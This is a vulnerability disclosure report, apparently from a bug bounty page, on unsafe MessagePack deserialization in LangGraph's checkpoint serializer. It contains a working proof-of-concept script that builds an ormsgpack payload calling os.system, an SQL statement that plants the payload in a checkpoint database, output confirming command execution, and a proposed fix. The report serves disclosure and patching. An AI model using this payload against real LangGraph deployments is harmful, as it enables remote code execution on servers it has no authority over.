Views
No views yet
langchain-ai/langchainlangchain-ai/langchain. While the recent fix (v3.0.0) implemented an allowlist (_check_allowed_modules) to prevent Arbitrary Code Execution in the JsonPlusSerializer, it failed to apply these same protections to the default MsgpackSerializer. The implementation uses ormsgpack, and the _msgpack_ext_hook function in jsonplus.py allows the instantiation of arbitrary classes via importlib.import_module without restriction. This allows an attacker who can inject data into the checkpoint database (a threat model validated by the existence of CVE-2025-64439) to achieve full Remote Code Execution (RCE) on the server.langchain-ai/langchainlibs/checkpoint/langgraph/checkpoint/serde/jsonplus.pyCWE-502: Deserialization of Untrusted Datalibs/checkpoint/langgraph/checkpoint/serde/jsonplus.py. The ormsgpack extension hooks (specifically types 0, 1, and 2) blindly unpack tuples and execute them as code using importlib. Unlike the JSON deserializer, which now validates the module and class name against a safe list, the MessagePack hook executes immediately. By crafting an ormsgpack payload with Extension Type 0 containing ("os", "system", "command"), the serializer executes the command immediately upon deserialization.langgraph-checkpoint==3.0.1ormsgpack installed (pip install ormsgpack)poc_exploit.py) locally:1import ormsgpack
2import msgpack # Used for inner packing if needed, or ormsgpack can handle it
3import importlib
4import os
5
6# CONFIGURATION: The command to execute on the victim
7COMMAND = "touch /tmp/langgraph_pwned_proof"
8# Type 0 maps to EXT_CONSTRUCTOR_SINGLE_ARG in jsonplus.py
9EXT_ID = 0
10
11def generate_payload():
12 print(f"[+] Generating payload to execute: {COMMAND}")
13
14 # 1. Create the malicious tuple: (module, function, arg)
15 # This maps to: importlib.import_module("os").system("...")
16 malicious_tuple = ("os", "system", COMMAND)
17
18 # 2. Pack the tuple into bytes (inner payload)
19 # Note: Using ormsgpack.packb for consistency with the library
20 inner_payload = ormsgpack.packb(malicious_tuple)
21
22 # 3. Wrap in ormsgpack.Ext to trigger the vulnerable hook
23 ext_obj = ormsgpack.Ext(EXT_ID, inner_payload)
24
25 # 4. Serialize to final bytes
26 final_blob = ormsgpack.packb(ext_obj)
27
28 print(f"[+] Malicious Msgpack Payload (Hex):")
29 print(final_blob.hex())
30 return final_blob
31
32# VERIFICATION MOCK
33# This mimics the vulnerable code in LangGraph to prove it works locally
34def vulnerable_ext_hook(code, data):
35 if code == 0:
36 tup = ormsgpack.unpackb(data)
37 module = importlib.import_module(tup[0])
38 func = getattr(module, tup[1])
39 return func(tup[2])
40 return ormsgpack.Ext(code, data)
41
42if __name__ == "__main__":
43 payload = generate_payload()
44
45 print("\n[!] verifying against local mock...")
46 try:
47 # Note: ormsgpack.unpackb doesn\\'t support ext_hook the same way standard msgpack does
48 # in some versions, but the logic inside LangGraph manually iterates codes.
49 # This mock simulates the logic flow of `_default_msgpack_decoder` or similar.
50
51 # Simulating the unpacking loop that triggers the hook:
52 unpacked = ormsgpack.unpackb(payload)
53 if isinstance(unpacked, ormsgpack.Ext):
54 vulnerable_ext_hook(unpacked.id, unpacked.data)
55
56 if os.path.exists("/tmp/langgraph_pwned_proof"):
57 print("[SUCCESS] RCE Verified. File created.")
58 os.remove("/tmp/langgraph_pwned_proof")
59 except Exception as e:
60 print(f"[-] Execution error (expected if command runs): {e}")UPDATE checkpoints SET checkpoint = X'[PASTE_HEX_HERE]' WHERE thread_id = 'victim_thread';serializer.loads(), trigger _msgpack_ext_hook, and execute the system command.langgraph-checkpoint==3.0.1: $ python poc_msgpack_deser.py
[!] Successfully called os.getenv('USER') = 'test'
[!] Successfully executed shell command via subprocess.getoutput()!
Result: 'uid=1000(test) gid=1000(test) groups=1000(test),27(sudo),110(docker)'
[!] FULL RCE CONFIRMED - Executed 'id' command!_check_allowed_modules validation function to the ormsgpack extension hooks, identical to how it was applied to the JSON deserializer in the previous patch.1if code == EXT_CONSTRUCTOR_SINGLE_ARG:
2 tup = ormsgpack.unpackb(data)
3 # ADD THIS VALIDATION:
4 _check_allowed_modules(tup[0], tup[1])
5 return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])langchain-ai/langgraphCWE-502: Deserialization of Untrusted DataCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H